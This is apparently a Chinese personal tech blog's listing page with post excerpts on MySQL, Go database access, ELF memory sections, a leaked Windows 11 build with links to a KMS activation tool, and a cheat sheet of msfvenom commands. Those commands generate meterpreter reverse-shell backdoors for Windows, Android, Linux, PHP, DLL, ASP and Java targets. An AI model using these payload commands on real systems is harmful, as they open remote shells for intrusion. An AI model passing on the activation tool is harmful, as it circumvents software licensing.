首页
关于
README
Search
1
如何配置终端现代化Neovim
647 阅读
2
mdk3工具使用
520 阅读
3
关于C语言
472 阅读
4
Windows11pro 下载体验
455 阅读
5
关于Docker容器--0×01
379 阅读
默认分类
网络技术
渗透测试
编程语言
C语言
Python
Linux
搞机技巧
Termux
golang
数学
Search
标签搜索
printf
mach
sin cos tan
Toanle
累计撰写
40
篇文章
累计收到
1
条评论
首页
栏目
默认分类
网络技术
渗透测试
编程语言
C语言
Python
Linux
搞机技巧
Termux
golang
数学
页面
关于
README
搜索到
40
篇与
Toanle
的结果
2021-06-26
MYSQL学习笔记
SQL基本知识与常用代码SQL 不区分大小写 ,但是惯例是SQL的关键字要大写, 所有的列名,表名,数据库名都 用小写每一条SQL语句后加分号;SQL不区分空格,所以为了可读性,可以把Sql语句分成多行.登录 mysql –h hostname -P port –u username –p password. 增加新用户grant 权限 on 数据库.* to 用户名称@登陆主机 identified 密码grant select, insert, update, delete on books.* to user identified by '1234'database相关:create database 数据库名; (创建数据库)show databases; (显示所有数据库)use dbname; (改变当前数据库)SHOW: 显示SHOW DATABASES;(显示当前用户账号的数据库)SHOW TABLES; (显示当前数据库里数据表)SHOW COLUMNS FROM tbname; (显示数据表tbname的结构)DESCRIBE tbname; (等价于 show columns from tbname;)SHOW STATUS; (显示数据库的基本信息)SHOW GRANTS [username]; (显示当前用户或username的权限)SHOW CREATE DATABASE dbname; (显示创建数据库dbname的sql语句)SHOW CREATE DATABASE tbname; (显示创建数据表tbname的sql语句)SELECT: 检索select用来检索数据, 检索时至少要指定两条信息:从哪里检索(database name)你要检索什么(field name) `SELECT 列1,列2 FROM 表名SELECT 表1.列1, 表2. 列2 FROM 表1, 表2(多张表中选取)SELECT * FROM 表名SELECT DISTINCT 列2 FROM 表名 (去除重复)`同时还可以指定一些过滤规则与排序规则, 这一般是通过子句实现的:1.ORDER BY 列1, 列2 [DESC|ASC] : 必须在where子句后,在limit子句前.2.LIMIT num : 用来指定最多返回多少条记录.必须在order by子句之后.3.WHERE 子句: 指定过滤条件(尽量在数据库层面过滤数据,而不要在语言层面(如 php,python)过滤数据), 因为数据库过滤效率高, 而且也可以避免不必要的数据 在数据库服务端到数据库客户端的传输{dotted startColor="#8f616c" endColor="#1f3d5c"/}INSERT(增)1:insert插入一条记录,省略列名:INSERT INTO 表名 VALUES(val1, val2 ...)插入一条记录:INSERT INTO 表名 (列1,列2 ...) VALUES (val1, val2 ...)插入多条记录:INSERT INTO 表名 (列1,列2 ...) VALUES (val1, val2 ...), (val1, val2 ...)DELETE(删) 2:deleteDELETE from 表名称 where 列名称=值DELETE from 表名称 (删除所有行,但是保留表)DELETE * from 表名称 (删除所有行,但是保留表)truncate table 表名 (删除所有行,效率更高)UPDATE(改) 3:update更新数据表某一列或者多列( 特别要注意where子句 )UPDATE 表名 SET 列名=新值 WHERE 列名=某值CREATE TABLE(建)4:create table 创建表,基本语法:create table 表名 ( 列名1 数据类型 [NULL | NOT NULL] [约束], 列名2 数据类型 [NULL | NOT NULL] [约束], ... )尽量指定NULL或者NOT NULL, 一般约束是可选的{dotted startColor="#ff6c6c" endColor="#1989fa"/}MYSQL数据类型 1.字符串类型类型解释CHAR1~255个字符长度的定长字符串,长度必须创建时指定ENUM枚举,值只能是预定义集合中的某一个TEXT最长 64k 的变长字符串VARCHAR长度可变,最长不超过255个字节SET预定义集合中的0个或者多个串//用的较多的就是: CHAR, VARCHAR, TEXT. 在sql语句中对于字符串值要用引号. 2.数值类型(如果确定为非负数,可以在类型前加 UNSIGNED)类型解释BIT位字段, 1~64位BOOLEAN(或BOOL)布尔(0或者1)DECIMAL(或DEC)精度可变的浮点DOUBLE双精度浮点FLOAT单精度浮点INT(或INTEGER)整数// 用的较多的就是: INT, BOOLEAN, DOUBLE, FLOAT. 在sql中数值类型不要加引号. 3.时间日期类型类型解释TIME格式为: HH:MM:SSDATE日期,格式为: YYYY-MM-DDDATETIMEDATE和TIME的组合TIMESTAMP功能和DATETIME相同,但范围较小YEAR年份,2位数字则范围是: 1970~2069, 4为数字则范围:1901~2155// 用的较多的是 DATETIME, DATE, TIME这三个类型. 4.二进制类型类型最大容量BLOB64KBMEDIUMBLOB16MBLONGBLOB4GBTINYBLOB255个字节// 用的较多的就是: BLOB {dotted startColor="#ff6c6c" endColor="#1989fa"/}约束 1.NOT NULL: 应该紧挨着类型的后面.2.PRIMARY KEY:主键,不用再指定unique。3.UNIQUE:字段必须唯一, 但是字段可以为NULL. 也就是说UNIQUE不会检查 NULL值.可 以指定多个字段,也就是说规定指定字段的4.组合必须唯一.5.FOREIGN KEY:外键6.CHECK:值范围,eg:check(Id>0).7.DEFAULT: 默认值,default 'yangyu', MySQL不接受函数作为默认值.8.AUTO_INCREMENT:通常对主键。INDEX(索引)删除表 : drop table 表名删除数据库: drop database 数据库名我的建议:1.LIKE 很慢, 所以一般情况下,最好使用 full text.2.绝不要检索比需求多的数据, 所以不要使用 SELECT * 这样的语句.3.如果where中有很多的 OR 条件, 那么使用 UNION将其分拆为多条 select 语句会看 到明显的性能改善.4.在插入数据频繁的场景下, 应该删除外键, 在应用层面检查约束就可以了, 因为插入 频繁时,外键会明显降低性能.继续阅读 用go语言开发mysql
2021年06月26日
283 阅读
0 评论
1 点赞
2021-06-26
在golang编程中如何使用数据库
首先我们得先导入需要的包import ( "database/sql" _ "github.com/go-sql-driver/mysql" )导入后,我们要连接数据库用func main() { db, err := sql.Open("mysql", "user:password@tcp(127.0.0.1:3306)/youdb") if err != nil { log.Fatal(err) } defer db.Close() }user:数据库用户名 password:数据库用户的密码 youdb 这样我们就连上了数据库,现在我们可以用db.ping测试连接成功与否。err = db.Ping() if err != nil { // 这里可以添加错误处理办法 }现在我们进入数据库里 选择我们所需要的数据库里,然后创建一个数据表;mysql -u root -p use qb.qq 现在我们创建一个数据表: CREATE TABLE `doctor_tb` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(50) DEFAULT '' COMMENT '姓名', `age` int(11) DEFAULT '0' COMMENT '年龄', `sex` int(11) DEFAULT '0' COMMENT '性别', `addTime` datetime DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='医生表';//我们通过CRATE TABLE创建一个名为docker_tb的数据表 //创建一个为id名 数据类型为int //创建一个name名字,数据类型为varchar,使用UTF8字符规则 //创建一个addtime 数据类型为dadetime用于计算创建数据时间通过PRIMARY KEY设置主健,我们通过主健来查找该组数据 ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='医生表';这段解释为我们使用InnoDB 数据类型,CHARSET设置为:utf8 注释为医生表;现在我们对这个数据表进行增,删,改,查;
2021年06月26日
198 阅读
0 评论
0 点赞
2021-06-17
Windows11pro 下载体验
目前网络上已经流出Windows 11的系统界面截图及视频,这些信息都来自一个泄露的Windows 11 Build 21996.1 Dev版ISO镜像,也就是预载版,下面来看看Win11系统界面有哪些变动吧。 任务栏位置变动 首先是桌面,变化最大的是任务栏,不知什么原因,微软将默认的“开始菜单”按钮以及任务栏上的软件快捷方式移到了任务单栏中间,导致无法快速地将鼠标移动到左下角来开启开始菜单。不过不用过于担心,微软“非常贴心”地让你可以通过鼠标点击“开始”按钮并将其自由拖放,或者通过右键点击任务栏并选择“任务栏设置”,它将带您到“设置”>“个性化”>“任务栏”窗口,您可以更改“任务栏对齐”设置来固定任务栏的位置。 简单的窗口管理 也许是受到Win10X的启发,Win11的窗口智能调整有了很大的改进。你可以将鼠标移到窗口的最大化图标处,会出现一个窗口菜单选项,选择其中一种灰色方块布局,即可为窗口选择屏幕布局和位置。对于具体体验如何大家自行体验吧!!!镜像系统下载链接:https://pan.baidu.com/s/1f0UBkEBe0L-DA1RuT3sCPQ 提取码:ToanWindows11壁纸下载链接链接: https://pan.baidu.com/s/1-Ne5W3Id-iCJkyBFLkM4VQ 密码: tuu4另外我还提供了一个windows激活工具: HEU_KMS 具体激活原理自行百度吧。链接: https://pan.baidu.com/s/1eQCZ0QdyQhATfr0V164M0w 密码: ns62大家请勿用于商业用途。。。
2021年06月17日
455 阅读
0 评论
0 点赞
2021-06-09
关于使用msfvenom生成各类木马后门
免责声明:如果您不确定自己在做什么,请不要尝试在本文中使用任何内容。在windows系统下:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe 在安卓下:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=5555 R> apk.apk在Linux下:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 R > /root/Desktop/toanle注意:需要把toanle加权限 chmod +x ./test 在C语言里:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f c > shellcode.c在php:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f raw > shell.php在python里:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f raw > shell.py在java里;msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 W > text.jar在DLL里msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -a x86 -f dll > shell.dll 在asp或者aspx里:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f asp > shell.asp 在C#里:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f csharp > shellcode.txt
2021年06月09日
109 阅读
0 评论
0 点赞
2021-05-29
.data,.bss和.rodata段的区别与联系
在逆向工程中,我们在ELF格式的可执行文件中,全局内存包括三种:bss、data和rodata。其它可执行文件格式与之类似。了解了这三种数据的特点,我们才能充分发挥它们的长处,达到速度与空间的最优化。1、 bss(Block Started by Symbol)bss是指那些没有初始化的和初始化为0的全局变量和静态变量* ,bss类型的全局变量只占运行时的内存空间,而不占文件空间。另外,大多数操作系统,在加载程序时,会把所有的bss全局变量全部清零,无需要你手工去清零。但为保证程序的可移植性,手工把这些变量初始化为0也是一个好习惯。2、 data 与bss相比,data就容易明白多了,它的名字就暗示着里面存放着数据。当然,如果数据全是零,为了优化考虑,编译器把它当作bss处理。通俗的说,data指那些初始化过(非零)的非const的全局变量和静态变量。 由此可见,data类型的全局变量是即占文件空间,又占用运行时内存空间的。3、 rodata rodata的意义同样明显,ro代表read only,即只读数据(const)。只读数据段,存放常量,字符常量,const常量,据说还存放调试信息。关于rodata类型的数据,要注意以下几点: 常量不一定就放在rodata里,有的立即数直接编码在指令里,存放在代码段(.text)中。 对于字符串常量,编译器会自动去掉重复的字符串,保证一个字符串在一个可执行文件(EXE/SO)中只存在一份拷贝。 rodata是在多个进程间是共享的,这可以提高空间利用率。 在有的嵌入式系统中,rodata放在ROM(如norflash)里,运行时直接读取ROM内存,无需要加载到RAM内存中。 在嵌入式linux系统中,通过一种叫作XIP(就地执行)的技术,也可以直接读取,而无需要加载到RAM内存中。 由此可见,把在运行过程中不会改变的数据设为rodata类型的,是有很多好处的:在多个进程间共享,可以大大提高空间利用率,甚至不占用RAM空间。同时由于rodata在只读的内存页面(page)中,是受保护的,任何试图对它的修改都会被及时发现,这可以帮助提高程序的稳定性。4、 text通常是指用来存放程序执行代码的一块内存区域。这部分区域的大小在程序运行前就已经确定,并且内存区域通常属于只读, 某些架构也允许代码段为可写,即允许修改程序。在代码段中,也有可能包含一些只读的常数变量,例如字符串常量等。5、变量与关键字 static关键字用途太多,以致于让新手模糊。不过,总结起来就有两种作用,改变生命期和限制作用域。如: 修饰inline函数:限制作用域 修饰普通函数:限制作用域 修饰局部变量:改变生命期 修饰全局变量:限制作用域const 关键字倒是比较明了,用const修饰的变量放在rodata里,字符串默认就是常量。对const,注意以下几点就行了。指针常量:指向的数据是常量。如 const char* p = “abc”; p指向的内容是常量 ,但p本身不是常量,你可以让p再指向”123”。 常量指针:指针本身是常量。如:char* const p = “abc”; p本身就是常量,你不能让p再指向”123”。指针常量 + 常量指针:指针和指针指向的数据都是常量。const char* const p =”abc”; 两者都是常量,不能再修改。violatile关键字通常用来修饰多线程共享的全局变量和IO内存。告诉编译器,不要把此类变量优化到寄存器中,每次都要老老实实的从内存中读取,因为它们随时都可能变化。这个关键字可能比较生僻,但千万不要忘了它,否则一个错误让你调试好几天也得不到一点线索。
2021年05月29日
242 阅读
0 评论
1 点赞
1
...
4
5
6
...
8